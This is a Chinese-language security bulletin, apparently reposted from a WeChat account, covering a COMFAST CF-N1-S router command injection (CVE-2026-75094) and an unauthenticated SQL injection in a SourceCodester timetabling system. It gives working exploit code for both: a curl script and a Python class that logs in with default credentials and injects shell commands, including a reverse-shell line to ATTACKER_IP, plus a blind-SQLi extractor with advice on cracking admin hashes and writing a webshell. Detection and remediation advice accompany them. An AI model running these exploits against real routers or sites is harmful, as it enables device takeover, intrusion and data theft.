每日漏洞推送COMFASTCF-N1-S路由器OS命令注入→远程代码执行

admin 2026-08-23 05:08:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文推送两个高危漏洞,其一是COMFASTCF-N1-S路由器CGI接口ssid参数存在OS命令注入漏洞CVE-2026-75094,CVSS评分9.1,攻击者结合默认弱口令可以root权限执行任意命令并横向渗透内网,已公开利用代码。其二是SourceCodester课表管理系统edit_subject2.php的ID参数存在未认证SQL注入CVE-2026-75079,CVSS评分7.3,可直接拖库或写WebShell。建议立即修改路由器默认口令、收敛管理面,并对SQL注入漏洞进行参数化查询修复。 综合评分: 86 文章分类: 漏洞预警,漏洞分析,漏洞POC,IoT安全,WEB安全


cover_image

每日漏洞推送 COMFAST CF-N1-S 路由器 OS 命令注入 → 远程代码执行

原创

nullchen nullchen

富贵学安全

2026年8月18日 10:32 陕西

在小说阅读器读本章

去阅读

📡 每日漏洞情报推送 | 2026-08-18


🔴 漏洞一:CVE-2026-75094 — COMFAST CF-N1-S 路由器 OS 命令注入 → 远程代码执行

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-75094 | | 影响产品 | COMFAST CF-N1-S 无线路由器 固件 2.6.0.1(及同 CGI 架构受影响版本) | | 漏洞类型 | OS 命令注入 (CWE-78 / CWE-77) — sub_44B438(CGI 接口 /cgi-bin/mbox-config) | | CVSS | 9.1 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H(CVSS 4.0: 8.5) | | 触发位置 | /cgi-bin/mbox-config?method=SET&section=ptest_ssid → 参数 ssid | | 公开时间 | 2026-08-18(NVD / VulDB 391346 / CVE.org) | | 在野利用 | ✅ exploit 已公开(github.com/1ChaoRen1/IOT_1),可远程利用 |

🔥 紧急程度

CVSS 3.1 高达 9.1(CRITICAL)且 Scope: Changed,虽然要求已认证(PR:H),但 COMFAST 路由器管理接口普遍使用默认弱口令(admin/admin、admin/123456 等),实际攻击门槛极低。命令注入点位于 ptest_ssid(无线 SSID 测试功能),注入成功即以 root 权限执行任意命令,可完全控制设备并横向入侵内网。COMFAST 是国内电商渠道销量较大的 Wi-Fi 中继/路由器品牌,设备固件长期不更新,风险面大。

📝 漏洞描述

COMFAST CF-N1-S 的 CGI 接口 /cgi-bin/mbox-config 在处理 method=SET&section=ptest_ssid 请求时,将用户可控参数 ssid 直接拼接进入系统命令(对应固件函数 sub_44B438),未做任何过滤/转义。攻击者通过在 ssid 参数中注入 shell 元字符(;|$()、反引号等)即可执行任意系统命令。

由于该 CGI 以高权限运行,命令注入可造成:

  • 机密性/完整性/可用性全面失陷(C:H/I:H/A:H)
  • Scope: Changed → 影响可跨越设备本身波及相连内网
  • 设备可被植入持久化后门、加入僵尸网络、篡改 DNS 劫持流量

厂商(COMFAST)在披露前已被联系,暂无官方补丁信息,需持续跟踪。

💻 PoC/EXP

1️⃣ curl 命令注入验证

#!/bin/bash
# CVE-2026-75094 COMFAST CF-N1-S 命令注入检测/验证
# 用法: ./poc.sh http://router-ip admin admin
# 注意: 仅用于授权安全测试
# 来源: 基于公开披露 (VulDB 391346 / github.com/1ChaoRen1/IOT_1) 重构

TARGET="${1:-http://192.168.1.1}"
USER="${2:-admin}"
PASS="${3:-admin}"

echo"[*] 目标: $TARGET  (${USER}/${PASS})"

# 1. 登录获取会话(COMFAST 类设备常见登录接口,以实际固件为准)
LOGIN=$(curl -sk -m 10 -c /tmp/cf_cookies.txt \
  -d "username=${USER}&password=${PASS}" \
  "$TARGET/cgi-bin/mbox-config?method=SET&section=login" 2>/dev/null)
echo"[*] 登录响应: ${LOGIN:0:120}"

# 2. 命令注入探测:ssid 参数注入 `id` 命令,观察回显
echo"[*] 注入 id 命令..."
curl-sk-m10-b /tmp/cf_cookies.txt \
  --data-urlencode"ssid=test\`id\`" \
  "$TARGET/cgi-bin/mbox-config?method=SET&section=ptest_ssid"2>/dev/null | head -c500

echo""
echo"[!] 若响应中出现 uid=0(root) 或 uid=xxx 输出 → 命令注入确认 (CVE-2026-75094)"
echo"[!] 不同固件注入语法可能需调整为 ;id; |id| 或 \$(id) 形式"

2️⃣ Python 命令注入利用 PoC(反弹 Shell / 任意命令)

#!/usr/bin/env python3
"""
CVE-2026-75094 COMFAST CF-N1-S OS 命令注入 PoC
影响: COMFAST CF-N1-S 固件 2.6.0.1
来源: 公开披露 (github.com/1ChaoRen1/IOT_1, VulDB 391346)
注意: 仅用于授权安全测试;精确端点/登录方式以目标固件为准
"""
importrequests
importsys
importurllib3
importurllib.parse

urllib3.disable_warnings()

classCOMFASTExploit:
    def__init__(self, target, user="admin", password="admin"):
        self.target=target.rstrip('/')
        self.user=user
        self.password=password
        self.session=requests.Session()
        self.session.verify=False
        self.session.headers.update({"User-Agent": "Mozilla/5.0 (security-test)"})

    deflogin(self):
        """登录管理接口(COMFAST 常见接口,实际以固件为准)"""
        try:
            r=self.session.post(
                f"{self.target}/cgi-bin/mbox-config?method=SET&section=login",
                data={"username": self.user, "password": self.password},
                timeout=10,
            )
            print(f"[*] 登录 → HTTP {r.status_code}")
            returnTrue
        exceptExceptionase:
            print(f"[-] 登录失败: {e}")
            returnFalse

    definject(self, cmd):
        """
        命令注入核心: 通过 ptest_ssid 的 ssid 参数注入命令
        注入语法: $(COMMAND) / `COMMAND` / ; COMMAND
        """
        payload=f"$( {cmd} )"
        try:
            r=self.session.get(
                f"{self.target}/cgi-bin/mbox-config?method=SET&section=ptest_ssid",
                params={"ssid": payload},
                timeout=15,
            )
            returnr.status_code, r.text
        exceptExceptionase:
            return-1, str(e)

    defrun(self, cmd="id"):
        ifnotself.login():
            sys.exit(1)
        code, resp=self.inject(cmd)
        print(f"[*] 注入命令: {cmd} → HTTP {code}")
        print(f"[*] 响应片段: {resp[:300]}")
        ifcode==200:
            print("[!] 若响应包含命令执行结果 → CVE-2026-75094 命令注入确认")
            print("[!] 可进一步反弹 shell: bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1")
        else:
            print("[*] 未命中(固件可能已修复或需调整注入语法/登录方式)")

if__name__=="__main__":
    target=sys.argv[1] iflen(sys.argv) >1else"http://192.168.1.1"
    exp=COMFASTExploit(target)
    exp.run(cmd="id; uname -a; cat /etc/passwd | head -3")

3️⃣ 利用链图示

攻击者 ──登录(默认口令 admin/admin)──► CGI 管理接口
      │  /cgi-bin/mbox-config?method=SET&section=ptest_ssid
      ▼
  ssid 参数未过滤拼接进系统命令 (sub_44B438, CWE-78)
      ▼
  root 权限任意命令执行 (Scope: Changed)
      ├── 反弹 Shell → 完全控制设备
      ├── 篡改 DNS → 劫持内网流量/钓鱼
      ├── 植入持久化后门 → 僵尸网络成员
      └── 内网横向渗透跳板

🛡️ 检测与防御

日志检测IOC

- 访问 /cgi-bin/mbox-config?method=SET&section=ptest_ssid 且 ssid 含 shell 元字符的请求
- 管理接口来自非管理网段 IP 的异常登录尝试(弱口令爆破)
- 设备出现异常外连(反弹 shell 特征:bash -i、/dev/tcp、nc -e)
- DNS 配置被非授权修改

修复建议

| 方式 | 说明 | | — | — | | 固件更新 | 关注 COMFAST 官方固件发布(当前暂无补丁,持续跟踪) | | 口令整改 | 立即修改默认弱口令(admin/admin 等),使用强口令 | | 管理面收敛 | 关闭远程管理/UPnP;管理接口仅限内网;禁止公网映射管理端口 | | 访问控制 | 管理页 IP 白名单;WAN 侧防火墙规则阻断管理端口 | | 网络监控 | 监控设备异常外连与 DNS 篡改;对无法升级的设备考虑下线或隔离 |

🔗 参考来源

  • NVD CVE-2026-75094
  • CVE.org 记录
  • VulDB CVE-2026-75094
  • VulDB CTI 391346
  • 公开PoC (github.com/1ChaoRen1/IOT_1)

🟠 漏洞二:CVE-2026-75079 — SourceCodester Class and Exam Timetabling System 未认证 SQL 注入

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-75079 | | 影响产品 | SourceCodester Class and Exam Timetabling System 1.0(PHP 课表管理系统) | | 漏洞类型 | SQL 注入 (CWE-89) — /edit_subject2.php 参数 ID | | CVSS | 7.3 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L(CVSS 4.0: 5.5) | | 触发位置 | /edit_subject2.php?ID=...(参数直接拼接 SQL) | | 公开时间 | 2026-08-18(NVD / VulDB 391307) | | 在野利用 | ✅ exploit 已公开(github.com/i-QvQ-i/first-OvO/issues/6),未认证远程可利用 |

🔥 紧急程度

未认证远程 SQL 注入(AV:N/PR:N/UI:N),exploit 已公开。SourceCodester 的 PHP 教学/教务类系统在国内高校、培训机构部署量很大,且这类系统普遍存在弱口令 + 无 WAF + 暴露公网的特点。攻击者无需任何凭据即可注入 SQL:拖库(学生/教师/管理员账号密码)、篡改课表数据、写入 WebShell(若 DB 用户有 FILE 权限)。若管理后台存在弱口令,可进一步提权接管整个系统。

📝 漏洞描述

SourceCodester Class and Exam Timetabling System 1.0 的 /edit_subject2.php 页面在接收 ID 参数时,未进行参数化查询/过滤,直接将其拼接进 SQL 语句,导致经典的数字型/字符型 SQL 注入。攻击者可通过 ID 参数注入布尔盲注、时间盲注或 UNION 查询,在未认证的情况下:

  • 读取数据库中所有数据(含 admin 用户表、密码哈希)
  • 修改/删除课表数据,影响业务完整性
  • 结合文件写入权限(secure_file_priv 允许时)写入 WebShell 获取服务器控制权

该漏洞与同批披露的 /edit_subject1.php(CVE-2026-75080)为同系列问题,均来自同一套代码的批量 SQL 拼接缺陷。

💻 PoC/EXP

1️⃣ 手工注入验证

# CVE-2026-75079 未认证 SQL 注入(布尔/时间盲注验证)
# 目标: http://target/edit_subject2.php

# 正常请求(返回正常页面)
GET /edit_subject2.php?ID=1 HTTP/1.1
Host: target

# 布尔盲注: 条件为真 → 页面正常;为假 → 页面异常/空白
GET /edit_subject2.php?ID=1 AND 1=1 HTTP/1.1
GET /edit_subject2.php?ID=1 AND 1=2 HTTP/1.1

# 时间盲注: 响应延迟 5 秒 → 注入点确认
GET /edit_subject2.php?ID=1 AND SLEEP(5) HTTP/1.1

# UNION 注入: 探测列数(逐步增加)
GET /edit_subject2.php?ID=-1 UNION SELECT 1,2,3,4,5 HTTP/1.1

# 数据库指纹
GET /edit_subject2.php?ID=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) HTTP/1.1

2️⃣ Python 自动化盲注 PoC(拖库)

#!/usr/bin/env python3
"""
CVE-2026-75079 SourceCodester Class and Exam Timetabling System 未认证 SQLi PoC
影响: SourceCodester Class and Exam Timetabling System 1.0 (/edit_subject2.php)
来源: 公开披露 (github.com/i-QvQ-i/first-OvO/issues/6, VulDB 391307)
注意: 仅用于授权安全测试
"""
importrequests
importstring
importsys
importurllib3

urllib3.disable_warnings()

TARGET=sys.argv[1] iflen(sys.argv) >1else"http://target"
URL=f"{TARGET}/edit_subject2.php"

defcheck(payload: str) ->bool:
    """布尔盲注判定: 条件为真时页面包含正常特征"""
    try:
        r=requests.get(URL, params={"ID": payload}, timeout=10, verify=False)
        # 正常响应特征词按目标页面调整(此处以常见页面关键字为例)
        return"subject"inr.text.lower() or"edit"inr.text.lower()
    exceptException:
        returnFalse

deftime_check(payload: str, delay: int=5) ->bool:
    """时间盲注判定"""
    try:
        r=requests.get(URL, params={"ID": f"1 AND SLEEP({delay}) {payload}"},
                         timeout=delay+5, verify=False)
        returnr.elapsed.total_seconds() >=delay
    exceptException:
        returnFalse

defextract_string(query: str, table: str, column: str, length: int=32) ->str:
    """按位提取字符串(布尔盲注)"""
    result=""
    charset=string.printable.strip()
    forposinrange(1, length+1):
        found=False
        forchincharset:
            # 逐字符二分/线性比较: ASCII(substr((SELECT {query}),{pos},1))={ord(ch)}
            payload= (
                f"1 AND ASCII(SUBSTRING((SELECT {query}),{pos},1))={ord(ch)}"
            )
            ifcheck(payload):
                result+=ch
                found=True
                break
        ifnotfound:
            break
        sys.stdout.write(f"\r[*] 已提取 {pos} 字符: {result}")
        sys.stdout.flush()
    print()
    returnresult

if__name__=="__main__":
    print(f"[*] 目标: {URL}")

    # 1. 注入点确认(时间盲注)
    iftime_check("", delay=5):
        print("[!] 时间盲注确认: ID 参数存在 SLEEP 注入 (CVE-2026-75079)")
    else:
        print("[*] 时间盲注未命中,尝试布尔盲注...")

    # 2. 提取数据库版本与当前数据库名
    print("[*] 提取 version()...")
    ver=extract_string("version()", "", "", length=20)
    print(f"[+] 数据库版本: {ver}")

    print("[*] 提取 database()...")
    db=extract_string("database()", "", "", length=20)
    print(f"[+] 当前数据库: {db}")

    # 3. 提取管理员凭据(表名/列名需按目标库调整)
    # print(extract_string(f"group_concat(user,0x3a,password) FROM users", ...))

    print("""
[!] 后续利用建议:
    1) 提取 admin 表密码哈希 → 离线破解 → 登录管理后台
    2) 若 MySQL 用户具备 FILE 权限: SELECT ... INTO OUTFILE 写 WebShell
    3) 结合后台功能(文件上传等)进一步 RCE
    4) 同系列漏洞: /edit_subject1.php (CVE-2026-75080) 同样存在注入
        """)

3️⃣ 利用链图示

攻击者(未认证) ──GET /edit_subject2.php?ID=注入──► PHP 应用
      │  ID 参数未参数化直接拼接 SQL (CWE-89)
      ▼
  SQL 注入 (布尔/时间盲注 | UNION)
      ├── 拖库: 管理员账号密码哈希、学生/教师数据
      ├── 篡改课表数据 → 业务完整性破坏
      └── 写 WebShell (FILE权限) → 服务器 RCE → 内网渗透

🛡️ 检测与防御

日志检测IOC

- /edit_subject2.php 请求中 ID 参数含 AND/OR/SLEEP/UNION/SUBSTRING 等 SQL 关键字
- 同一 IP 对 edit_subject*.php 的高频异常请求(自动化盲注特征)
- 数据库错误日志中出现 SQL 语法错误(注入探测痕迹)

修复建议

| 方式 | 说明 | | — | — | | 代码修复 | 使用 PDO/MySQLi 预处理语句(参数化查询)替代字符串拼接;对 ID 参数强制 intval 类型转换 | | 补丁跟进 | 关注 SourceCodester 官方更新(当前 1.0 版本受影响,暂无补丁) | | 入口防护 | 部署 WAF 拦截 SQL 注入特征;限制管理后台公网暴露 | | 数据库加固 | 最小权限原则:禁止应用账号 FILE/SUPER 权限;关闭 secure_file_priv 不必要的写路径 | | 口令整改 | 修改系统默认/弱口令;密码哈希使用 bcrypt/argon2 | | 排查同源漏洞 | 检查同系统 /edit_subject1.php (CVE-2026-75080) 及同代码框架其他页面 |

🔗 参考来源

  • NVD CVE-2026-75079
  • CVE.org 记录
  • VulDB CVE-2026-75079
  • VulDB CTI 391307
  • 公开PoC (github.com/i-QvQ-i/first-OvO/issues/6)
  • SourceCodester 官方

📊 今日其他漏洞速览

| CVE编号 | 产品 | 类型 | 严重程度 | 备注 | | — | — | — | — | — | | CVE-2026-75080 | SourceCodester 课表系统 1.0 | /edit_subject1.php SQLi | 🟠 HIGH 7.3 | 与75079同源,exploit公开 | | CVE-2026-75089 | PHPGurukul 投诉管理系统 1.0 | user/check_availability.php email SQLi | 🟠 HIGH 7.3 | 未认证,exploit公开 | | CVE-2026-75081/75082 | Webkul Bagisto ≤2.4.4 | /customer/account 认证缺陷 | 🟡 MEDIUM 4.3 | 两个相似问题 | | CVE-2026-75090 | EricLBuehler Mistral.rs ≤0.8.22 | convert_gguf 内存安全问题 | 🟡 MEDIUM 4.3 | AI推理框架,关注 | | CVE-2026-75086~88 | itsourcecode 医院管理系统 1.0 | 多个函数缺陷 | 🟡 MEDIUM 6.3 | 批量披露 |

🛡️ 优先行动建议

优先等级    行动                          说明
────────────────────────────────────────────────────
🔴 最高     COMFAST 路由器处置           核查在用设备、改默认口令、管理面禁公网、等固件
🔴 紧急     课表/教务系统处置            修复SQL注入、排查已泄露数据、WAF加固
🟡 关注     PHPGurukul 投诉系统排查      确认是否在用,修复email参数注入
🟡 关注     Mistral.rs 供应链排查        确认业务是否引用受影响版本 (≤0.8.22)

⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 COMFAST CF-N1-S 路由器 OS 命令注入 → 远程代码执行》

为什么不用linux系统 网络安全文章

为什么不用linux系统

文章总结: 文档标题为’为什么不用linux系统’,但内容仅包含图片和阅读提示,未提供具体技术分析或结论。 综合评分: 0 文章分类: 其他为什么不用linux
评论:0   参与:  0